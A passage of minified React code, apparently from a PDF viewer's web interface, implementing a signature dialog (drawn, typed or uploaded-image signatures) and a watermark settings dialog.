t,a;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!n||!r){e.next=7;break}return a=vt.getTool("AnnotationCreateSignature"),u.current?i():o(),a.setSignature(u.current),c.current=null===(t=a.annot)||void 0===t?void 0:t.Id,e.next=7,a.resizeCanvas();case 7:case"end":return e.stop()}}),e)})))).apply(this,arguments)}!function(){e.apply(this,arguments)}()}),[r,n]),Object(l.useEffect)((function(){function e(){return(e=wI(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!p.height||!p.width){e.next=4;break}return t=vt.getTool("AnnotationCreateSignature"),e.next=4,t.resizeCanvas();case 4:case"end":return e.stop()}}),e)})))).apply(this,arguments)}!function(){e.apply(this,arguments)}()}),[p]);var b=Object(l.useCallback)((function(){vt.getTool("AnnotationCreateSignature").clearSignatureCanvas(),u.current=null,c.current=null,v(!1),o()}),[]),w=function(){var e=wI(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return t=vt.getTool("AnnotationCreateSignature"),e.next=3,t.isEmptySignature();case 3:if(e.sent){e.next=8;break}u.current=E(t.annot.getPaths()),c.current=t.annot.Id,v(!0),i();case 8:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),E=function(e){for(var t=[],n=0;n<e.length;++n)for(var r=0;r<e[n].length;++r)t[n]||(t[n]=[]),t[n][r]=new window.Core.Math.Point(e[n][r].x,e[n][r].y);return t},S=vt.getTool("AnnotationCreateSignature").defaults;return s.a.createElement(kd,{bounds:!0,onResize:function(e){var t=e.bounds;return h(t)}},(function(e){var t=e.measureRef;return s.a.createElement("div",{className:"ink-signature",ref:t},s.a.createElement(Op,{onSwiping:function(e){return e.event.stopPropagation()},className:"canvas-colorpalette-container"},s.a.createElement("div",{className:"ink-signature-canvas-container"},s.a.createElement("div",{className:"ink-signature-sign-here"},g?"":f("message.signHere")),s.a.createElement("canvas",{className:"ink-signature-canvas",onMouseUp:w,onTouchEnd:w,onMouseLeave:w,ref:a})),s.a.createElement("div",{className:"colorpalette-clear-container"},s.a.createElement(Xg,{color:S.StrokeColor,property:"StrokeColor",onStyleChange:function(e,t){return function(e,t){gb("AnnotationCreateSignature",e,t);var n=vt.getTool("AnnotationCreateSignature");n.annot&&(n.annot.StrokeColor=t,n.resizeCanvas()),y()}(e,t)},overridePalette2:["#000000","#4E7DE9","#E44234"]}),s.a.createElement("button",{className:"signature-clear",onClick:b,disabled:!g},f("action.clear")))))}))};xI.propTypes=CI;var OI=xI;var AI=function(e){var t,n,r,o=e.getContext("2d"),i=e.width,a=e.height,l={x:[],y:[]},s=o.getImageData(0,0,e.width,e.height);for(n=0;n<a;n++)for(t=0;t<i;t++)r=4*(n*i+t),s.data[r+3]>0&&(l.x.push(t),l.y.push(n));l.x.sort((function(e,t){return e-t})),l.y.sort((function(e,t){return e-t}));var u=l.x.length-1;i=1+l.x[u]-l.x[0],a=1+l.y[u]-l.y[0];var c=o.getImageData(l.x[0],l.y[0],i,a);return e.width=i,e.height=a,o.putImageData(c,0,0),e.toDataURL()};n(1071);function _I(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return TI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return TI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function TI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var kI={isModalOpen:Is.a.bool,isTabPanelSelected:Is.a.bool,disableCreateButton:Is.a.func,enableCreateButton:Is.a.func},PI=function(e){var t,n=e.isModalOpen,r=e.isTabPanelSelected,o=e.disableCreateButton,i=e.enableCreateButton,a=le((function(e){return fi.getSignatureFonts(e)})),u=_I(Object(l.useState)(""),2),c=u[0],f=u[1],d=_I(Object(l.useState)(0),2),p=d[0],h=d[1],m=_I(Object(l.useState)(!0),2),g=m[0],v=m[1],y=_I(Object(l.useState)("#000000"),2),b=y[0],w=y[1],E=Object(l.useRef)(),S=Object(l.useRef)(),C=Object(l.useRef)([]),x=_I(Ks(),1)[0],O=(t=_I(Object(l.useState)(!1),2)[1],function(){return t((function(e){return!e}))});Object(l.useEffect)((function(){p>=a.length&&h(0)}),[p,a]),Object(l.useEffect)((function(){var e,t,o,i=S.current,l=i.getContext("2d"),s=window.Core.getCanvasMultiplier();r&&(e=C.current[p].getBoundingClientRect(),t=e.width,o=e.height,t+=100,o+=100,i.style.width="".concat(t,"px"),i.style.height="".concat(o,"px"),i.width=t*s,i.height=o*s,l.fillStyle=b,l.textAlign="center",l.textBaseline="middle",l.font="".concat(96*s,"px ").concat(a[p]),function(){var e=i.width,t=i.height;l.clearRect(0,0,e,t),l.fillText(c,e/2,t/2)}(),n&&A())}),[p,r,c,a,b]),Object(l.useEffect)((function(){w(b),n&&r&&(f(vt.getDisplayAuthor(vt.getCurrentUser())),A())}),[n,r]),Object(l.useEffect)((function(){var e;r&&(null===(e=E.current)||void 0===e||e.focus(),Mt?E.current.setSelectionRange(0,9999):E.current.select())}),[r]),Object(l.useEffect)((function(){var e=function(){g&&(f(vt.getDisplayAuthor(vt.getCurrentUser())),i())};return vt.addEventListener("updateAnnotationPermission",e),function(){vt.removeEventListener("updateAnnotationPermission",e)}}),[g]);var A=function(){var e=vt.getTool("AnnotationCreateSignature"),t=S.current;if((c||"").trim()){var n=AI(t);e.setSignature(n),i()}else e.setSignature(null),o()};return s.a.createElement("div",{className:"text-signature"},s.a.createElement("div",{className:"text-signature-input-container"},s.a.createElement("label",null,s.a.createElement("input",{className:"text-signature-input",ref:E,type:"text",value:c,placeholder:"Type Signature",onChange:function(e){v(!1);var t=e.target.value.replace(/^\s+/g,"");A(),f(t)},style:{fontFamily:a,fontSize:64,color:b},disabled:!(n&&r)}))),a.map((function(e,t){return s.a.createElement("div",{key:e,className:js()({"text-signature-text":!0,active:t===p}),style:{fontFamily:e,fontSize:96,color:b},onClick:function(){return h(t)}},s.a.createElement("div",{className:"text-container",ref:function(e){C.current[t]=e}},c))})),s.a.createElement("canvas",{ref:S}),s.a.createElement("div",{className:"colorpalette-clear-container"},s.a.createElement(Xg,{color:new window.Annotations.Color(b),property:"fontColor",onStyleChange:function(e,t){return function(e,t){w(t),O()}(0,t)},overridePalette2:["#000000","#4E7DE9","#E44234"]}),s.a.createElement("button",{className:"signature-clear",onClick:function(){return f("")},disabled:!(n&&r)||0===c.length},x("action.clear"))))};PI.propTypes=kI;var MI=PI;n(1072);function RI(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return jI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return jI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function jI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var LI={isModalOpen:Is.a.bool,isTabPanelSelected:Is.a.bool,disableCreateButton:Is.a.func,enableCreateButton:Is.a.func},II=["png","jpg","jpeg"],NI=null,DI=null,FI=function(e){var t=e.isModalOpen,n=e.isTabPanelSelected,r=e.disableCreateButton,o=e.enableCreateButton,i=RI(Object(l.useState)(null),2),a=i[0],u=i[1],c=RI(Object(l.useState)(!1),2),f=c[0],d=c[1],p=RI(Object(l.useState)(""),2),h=p[0],m=p[1],g=Object(l.useRef)(),v=RI(Ks(),1)[0];Object(l.useEffect)((function(){var e=vt.getTool("AnnotationCreateSignature");DI=e.ACCEPTED_FILE_SIZE,t?t&&n&&(e.setSignature(a,NI),a?o():r()):u(null)}),[a,n,t]);var y=function(e){e.preventDefault(),d(!0)},b=function(e){e.preventDefault()},w=function(e){e.preventDefault(),e.target.parentNode.contains(e.relatedTarget)||d(!1)},E=function(e){e.preventDefault(),d(!1)},S=function(e){e.preventDefault(),d(!1);var t=e.dataTransfer.files;t.length&&C(t[0])},C=function(e){var t=new FileReader;NI=e.size,t.onload=function(e){var t=e.target.result;II.some((function(e){return-1!==t.indexOf("image/".concat(e))}))?(m(""),u(t),o()):(r(),m(v("message.imageSignatureAcceptedFileTypes",{acceptedFileTypes:II.join(", ")})))},t.readAsDataURL(e)},x=!("number"==typeof DI&&DI>0&&NI>0)||NI<DI,O=!1;(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|ipad|iris|kindle|Android|Silk|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(navigator.userAgent)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(navigator.userAgent.substr(0,4)))&&(O=!0);var A;return A=f?"image-signature-upload-container dragging":"image-signature-upload-container",s.a.createElement("div",{className:"image-signature"},a&&x?s.a.createElement("div",{className:"image-signature-image-container"},s.a.createElement("img",{src:a})):s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"image-signature-overlay",onDragEnter:y,onDragLeave:w,onDragOver:b,onDrop:S,onDragExit:E}),f&&s.a.createElement("div",{className:"image-signature-modal-overlay",onDragEnter:y,onDragLeave:w,onDragOver:b,onDrop:S,onDragExit:E}),s.a.createElement("div",{className:A},!O&&s.a.createElement("div",{className:"image-signature-dnd"},v("option.signatureModal.dragAndDrop")),!O&&s.a.createElement("div",{className:"image-signature-separator"},v("option.signatureModal.or")),O&&s.a.createElement("div",{className:"image-signature-separator"},v("option.signatureModal.selectImage")),s.a.createElement("div",{className:"image-signature-upload"},s.a.createElement("input",{ref:g,id:"upload",type:"file",accept:II.map((function(e){return".".concat(e)})).join(","),onChange:function(e){C(e.target.files[0])},disabled:!(t&&n)}),s.a.createElement("div",{onClick:function(){return g.current.click()},className:"pick-image-button"},v("option.signatureModal.pickImage"))),h&&s.a.createElement("div",{className:"image-signature-error"},h))))};FI.propTypes=LI;var BI=FI;n(1073);function HI(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function VI(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return zI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return zI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function zI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var UI,GI,WI=function(){var e=VI(le((function(e){return[fi.isElementDisabled(e,"signatureModal"),fi.isElementOpen(e,"signatureModal"),fi.getActiveToolName(e),fi.getDisplayedSignatures(e)]})),4),t=e[0],n=e[1],r=e[2],o=e[3],i=VI(Object(l.useState)(),2),a=i[0],u=i[1],c=vt.getTool("AnnotationCreateSignature");Object(l.useEffect)((function(){"AnnotationCreateSignature"!==r&&f(Ps.closeElements(["signatureModal","signatureOverlay"]))}),[f,r]);var f=re(),d=VI(Ks(),1)[0];Object(l.useEffect)((function(){n&&f(Ps.closeElements(["printModal","loadingModal","progressModal","errorModal"]))}),[f,n]);var p=function(){c.clearLocation(),c.setSignature(null),f(Ps.closeElement("signatureModal"))},h=function(){var e=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){HI(i,r,o,a,l,"next",e)}function l(e){HI(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,c.isEmptySignature();case 2:if(e.sent){e.next=14;break}if(c.saveSignatures(c.annot),f(Ps.setSelectedDisplayedSignatureIndex(o.length)),vt.setToolMode("AnnotationCreateSignature"),!c.hasLocation()){e.next=11;break}return e.next=9,c.addSignature();case 9:e.next=13;break;case 11:return e.next=13,c.showPreview();case 13:f(Ps.closeElement("signatureModal"));case 14:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),m=Object(l.useCallback)((function(){u(!0)}),[a]),g=Object(l.useCallback)((function(){u(!1)}),[a]),v=js()({Modal:!0,SignatureModal:!0,open:n,closed:!n});return t?null:s.a.createElement(Op,{onSwipedUp:p,onSwipedDown:p,preventDefaultTouchmoveEvent:!0},s.a.createElement(Jp,{locked:n},s.a.createElement("div",{className:v,"data-element":"signatureModal"},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement(xb,{id:"signatureModal"},s.a.createElement("div",{className:"header-container"},s.a.createElement("div",{className:"header"},s.a.createElement("p",null,d("option.signatureModal.modalName")),s.a.createElement(bf,{className:"signatureModalCloseButton",dataElement:"signatureModalCloseButton",title:"action.close",img:"ic_close_black_24px",onClick:p})),s.a.createElement("div",{className:"tab-list"},s.a.createElement(Ob,{dataElement:"inkSignaturePanelButton"},s.a.createElement("button",{className:"tab-options-button"},d("action.draw"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"textSignaturePanelButton"},s.a.createElement("button",{className:"tab-options-button"},d("action.type"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"imageSignaturePanelButton"},s.a.createElement("button",{className:"tab-options-button"},d("action.upload"))))),s.a.createElement(_b,{dataElement:"inkSignaturePanel"},s.a.createElement(OI,{isModalOpen:n,enableCreateButton:g,disableCreateButton:m})),s.a.createElement(_b,{dataElement:"textSignaturePanel"},s.a.createElement(MI,{isModalOpen:n,enableCreateButton:g,disableCreateButton:m})),s.a.createElement(_b,{dataElement:"imageSignaturePanel"},s.a.createElement(BI,{isModalOpen:n,enableCreateButton:g,disableCreateButton:m})),s.a.createElement("div",{className:"footer"},s.a.createElement("button",{className:"signature-create",onClick:h,disabled:!n||a},d("action.create"))))))))},qI=["Arial","Times New Roman","Tahoma ","Trebuchet MS","Courier","Verdana","Georgia","Palatino","Comic Sans MS","Arial Black","Impact"];n(1074);function ZI(e){return(ZI="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function YI(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function $I(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?YI(Object(n),!0).forEach((function(t){oN(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):YI(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function KI(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function XI(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){KI(i,r,o,a,l,"next",e)}function l(e){KI(i,r,o,a,l,"throw",e)}a(void 0)}))}}function QI(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function JI(e,t){return(JI=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function eN(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=rN(e);if(t){var o=rN(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return tN(this,n)}}function tN(e,t){if(t&&("object"===ZI(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return nN(e)}function nN(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function rN(e){return(rN=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function oN(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var iN=[8,9,10,11,12,14,16,18,24,30,36,48,60,72,96],aN={CENTER:"center",TOP_LEFT:"topLeft",TOP_RIGHT:"topRight",TOP_CENTER:"topCenter",BOT_LEFT:"bottomLeft",BOT_RIGHT:"bottomRight",BOT_CENTER:"bottomCenter"},lN="fontSize",sN="text",uN="color",cN="opacity",fN="font",dN="isBolded",pN="isItalic",hN="isUnderlined",mN=(oN(UI={},"location",aN.CENTER),oN(UI,lN,48),oN(UI,sN,""),oN(UI,uN,new window.Annotations.Color(228,66,52)),oN(UI,cN,100),oN(UI,fN,qI[0]),oN(UI,dN,!1),oN(UI,pN,!1),oN(UI,hN,!1),UI),gN=(oN(GI={},aN.CENTER,"diagonal"),oN(GI,aN.TOP_LEFT,"headerLeft"),oN(GI,aN.TOP_RIGHT,"headerRight"),oN(GI,aN.TOP_CENTER,"headerCenter"),oN(GI,aN.BOT_LEFT,"footerLeft"),oN(GI,aN.BOT_RIGHT,"footerRight"),oN(GI,aN.BOT_CENTER,"footerCenter"),GI),vN=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&JI(e,t)}(i,e);var t,n,r,o=eN(i);function i(e){var t;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),oN(nN(t=o.call(this,e)),"handleWatermarkOnVisibilityChanged",(function(){t.props.isVisible?t.setState({locationSettings:t.state.previousLocationSettings},XI(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,vt.getWatermark();case 2:t.preExistingWatermark=e.sent,t.addWatermarks();case 4:case"end":return e.stop()}}),e)})))):(t.removeWatermarkCreatedByModal(),vt.setWatermark(t.preExistingWatermark))})),oN(nN(t),"addWatermarks",(function(){var e=t.createWatermarks();vt.setWatermark(e);var n=vt.getPageHeight(t.props.pageIndexToView+1),r=300/vt.getPageWidth(t.props.pageIndexToView+1),o=300/n,i=Math.min(o,r);vt.getDocument().loadCanvas({pageNumber:t.props.pageIndexToView+1,zoom:i,drawComplete:function(e){var n=t.canvasContainerRef.current.childNodes;n&&n.length>0&&t.canvasContainerRef.current.removeChild(n[0]),e.style.border="1px solid black",e.style.height=t.canvasContainerRef.current.style.height,t.canvasContainerRef.current.appendChild(e)}})})),oN(nN(t),"constructWatermarkOption",(function(e){var t=[];return e.isBolded&&t.push(vt.getFontStyles().BOLD),e.isItalic&&t.push(vt.getFontStyles().ITALIC),e.isUnderlined&&t.push(vt.getFontStyles().UNDERLINE),{fontSize:e.fontSize,fontFamily:e.font,color:e.color.toString(),opacity:e.opacity,text:e.text,fontStyles:t}})),oN(nN(t),"createWatermarks",(function(){var e={};return Object.keys(aN).forEach((function(n){var r=t.constructWatermarkOption(t.state.locationSettings[n]);e[gN[aN[n]]]=r})),e})),oN(nN(t),"removeWatermarkCreatedByModal",(function(){vt.setWatermark({})})),oN(nN(t),"closeModal",(function(){t.props.modalClosed()})),oN(nN(t),"handleInputChange",(function(e,n){var r=$I({},t.state.locationSettings),o=t.getCurrentSelectedLocation();r[o]=$I($I({},r[o]),{},oN({},e,n)),t.setState({locationSettings:r},(function(){t.addWatermarks()}))})),oN(nN(t),"resetForm",(function(e){e.preventDefault();var n=t.initializeLocationSettings();t.setState({locationSettings:n},(function(){return t.addWatermarks()}))})),oN(nN(t),"onOkPressed",(function(){t.setState({previousLocationSettings:t.state.locationSettings},(function(){t.props.modalClosed();var e=t.createWatermarks();t.props.formSubmitted(e)}))})),oN(nN(t),"getCirclePosn",(function(e,t){return t*e+8})),oN(nN(t),"setColorPaletteVisibility",(function(e){t.setState({isColorPaletteVisible:e})})),oN(nN(t),"onLocationChanged",(function(e){var n=$I({},t.state.locationSettings);Object.keys(n).forEach((function(t){var r=n[t];r=$I($I({},r),{},{isSelected:e===t}),n[t]=r})),t.setState({locationSettings:n},(function(){t.addWatermarks()}))})),oN(nN(t),"initializeLocationSettings",(function(){var e={};return Object.keys(aN).forEach((function(t){var n=$I($I({},Object.assign({},mN)),{},{isSelected:aN[t]===mN.location});e[t]=n})),e})),oN(nN(t),"getKeyByValue",(function(e,t){return Object.keys(e).find((function(n){return e[n]===t}))})),oN(nN(t),"getCurrentSelectedLocation",(function(){return Object.keys(t.state.locationSettings).find((function(e){return t.state.locationSettings[e].isSelected}))})),oN(nN(t),"onColorChanged",(function(e){var n=t.getCurrentSelectedLocation(),r=t.state.locationSettings[n];r[uN]=new window.Annotations.Color(e.R,e.G,e.B);var o=$I({},t.state.locationSettings);r[sN]||Object.keys(aN).forEach((function(t){var n=o[t];n[sN]||(n[uN]=new window.Annotations.Color(e.R,e.G,e.B))})),t.setState({locationSettings:o},(function(){t.addWatermarks()}))}));var n=t.initializeLocationSettings();return t.preExistingWatermark=void 0,t.state={isColorPaletteVisible:!1,locationSettings:n,previousLocationSettings:n,lockFocus:!1},t.canvasContainerRef=s.a.createRef(),t}return t=i,(n=[{key:"componentDidUpdate",value:function(e){var t=this;vt.addEventListener("documentLoaded",this.closeModal),this.props.isVisible!==e.isVisible&&(this.props.isVisible?this.setState({lockFocus:!0}):this.setState({lockFocus:!1}),this.setState({isColorPaletteVisible:!1},(function(){return t.handleWatermarkOnVisibilityChanged()})))}},{key:"render",value:function(){var e=this;if(!this.props.isVisible)return null;var t=this.props.t,n=this.getCurrentSelectedLocation(),r=this.state.locationSettings[n];return s.a.createElement(Op,{onSwipedUp:this.closeModal,onSwipedDown:this.closeModal,preventDefaultTouchmoveEvent:!0},s.a.createElement(Uf,{className:"Modal Watermark",id:"watermarkModal","data-element":"watermarkModal"},s.a.createElement(nh,{isOpen:this.state.lockFocus,title:"option.watermark.addWatermark",closeButtonDataElement:"watermarkModalCloseButton",onCloseClick:this.closeModal},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"form-content-container"},s.a.createElement("div",{className:"canvas-container",ref:this.canvasContainerRef}),s.a.createElement("div",{className:"watermark-settings"},s.a.createElement("form",{id:"form",onSubmit:function(e){return e.preventDefault()}},s.a.createElement("div",{className:"form-field"},s.a.createElement("label",{htmlFor:"location"},t("option.watermark.location")),s.a.createElement("select",{id:"location",onChange:function(t){e.onLocationChanged(t.target.value)}},Object.keys(aN).map((function(e){return s.a.createElement("option",{key:e,value:e},t("option.watermark.locations.".concat(aN[e])))}))),s.a.createElement("div",{className:"separator divider"})),s.a.createElement("div",{className:"form-field"},s.a.createElement("label",{htmlFor:"textInput"},t("option.watermark.text")),s.a.createElement("input",{className:"text-input",id:"textInput",value:r[sN],onChange:function(t){return e.handleInputChange(sN,t.target.value)},type:"text"})),s.a.createElement("div",{className:"form-field"},s.a.createElement("label",{htmlFor:"fonts"},t("option.watermark.font")),s.a.createElement("select",{id:"fonts",value:r[fN],onChange:function(t){return e.handleInputChange(fN,t.target.value)}},qI.map((function(e){return s.a.createElement("option",{key:e},e)})))),s.a.createElement("div",{className:"form-field"},s.a.createElement("label",{htmlFor:"fontSize"},t("option.watermark.size")),s.a.createElement("select",{id:"fontSize",value:r[lN],onChange:function(t){return e.handleInputChange(lN,+t.target.value)}},iN.map((function(e){return s.a.createElement("option",{key:e},e)})))),s.a.createElement("div",{className:"form-field opacity-slider",id:"opacitySlider"},s.a.createElement(Ov,{property:"opacity",displayProperty:"opacity",value:r[cN]/100,getDisplayValue:function(e){return"".concat(Math.round(100*e),"%")},getCirclePosition:this.getCirclePosn,convertRelativeCirclePositionToValue:function(e){return e},onSliderChange:function(){},onStyleChange:function(t,n){return e.handleInputChange(cN,Math.round(100*n))}})),s.a.createElement("div",{className:"form-field"},s.a.createElement("label",null,t("option.watermark.style")),s.a.createElement("div",{className:"style-container"},s.a.createElement(bf,{id:"currentColorCell",className:"colorSelect",ariaLabel:"colorSelectButton",style:{backgroundColor:r[uN].toHexString()},onClick:function(){return e.setColorPaletteVisibility(!e.state.isColorPaletteVisible)}}),s.a.createElement("div",{className:"style-container"},s.a.createElement(bf,{dataElement:"boldText",img:"icon-text-bold",isActive:r[dN],onClick:function(){return e.handleInputChange(dN,!r[dN])}}),s.a.createElement(bf,{dataElement:"italicizeText",img:"icon-text-italic",isActive:r[pN],onClick:function(){return e.handleInputChange(pN,!r[pN])}}),s.a.createElement(bf,{dataElement:"underlineText",img:"icon-text-underline",isActive:r[hN],onClick:function(){return e.handleInputChange(hN,!r[hN])}}))),this.state.isColorPaletteVisible&&s.a.createElement("div",{className:"Popup StylePopup",id:"stylePopup",onClick:function(){return 